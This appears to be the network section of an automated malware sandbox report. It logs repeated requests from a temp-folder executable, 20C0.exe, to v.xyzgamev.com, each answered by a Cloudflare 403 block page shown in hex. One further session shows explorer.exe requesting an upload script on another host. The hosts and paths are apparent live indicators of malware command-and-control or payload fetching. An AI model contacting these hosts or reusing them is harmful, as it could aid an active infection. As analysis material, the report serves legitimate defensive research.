2022-08-31 12:29:17 UTC	4881	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:32 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Oyah1RGXFA%2FnTBCeuaM%2BJUmABLC85cL4lZNK5S5o6hiV2yBFRBvg1PoYVDKqAZssRRCZyM0OJKnWntPWh0%2BykHGFR8e1mAcr6SGagp5aRk43FRgjerWFkyxzIVDCKuTdMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c555fee772ba-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:17 UTC	4882	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:17 UTC	4882	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:17 UTC	4884	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:17 UTC	4885	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:17 UTC	4886	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49783	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:17 UTC	4886	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:17 UTC	4886	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:32 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GmFr4GPBeMpAR49rrJK0SxjwQGN3U%2FzGWu0nXRcAHYlB79GWiWW3Kui5Zdfowkm4B0%2BKWzpYtColOfqgxI9V5g8eyDJQVLQ42U2TqWO86kocMTNZ4oWLPUyvMFS%2Fclc1pg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5599c8371c9-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:17 UTC	4887	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:17 UTC	4888	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:17 UTC	4889	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:17 UTC	4890	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:17 UTC	4891	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49784	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:17 UTC	4891	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:17 UTC	4891	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:32 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EJ2oUgjmufhmPEwhNcRusPOSVmYgepwq76NKmjuSV21sNuTr%2Fvt4t98Lrq5mGltppkDhIx4n7Htg2qDFHThTyvojrpym55fBLmaetO3DzOYa8DjHbmK7KVCzNPCo%2B5HHgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c55b2f5c9a3f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:17 UTC	4892	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:17 UTC	4893	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:29:17 UTC	4894	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:29:17 UTC	4895	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:29:17 UTC	4896	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49787	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:19 UTC	4896	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:19 UTC	4897	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:34 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j6DBG9xH3rvArOE7mx%2FZ6Pxq4p3Mx0rbm1KUjZ2FMaFgmDz%2F%2FMLf4lKGPQAMRPgGH1YUCRuwSUQ8FhJSB0nwmiKD6BE6hQBFoSB%2FFQHepX%2FcCIWUfssXXJjcwhznh%2FaP9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5642f87067e-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:19 UTC	4897	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:19 UTC	4898	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:19 UTC	4899	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:19 UTC	4901	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:19 UTC	4902	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49739	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:28:52 UTC	188	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.amrhomedecor.com
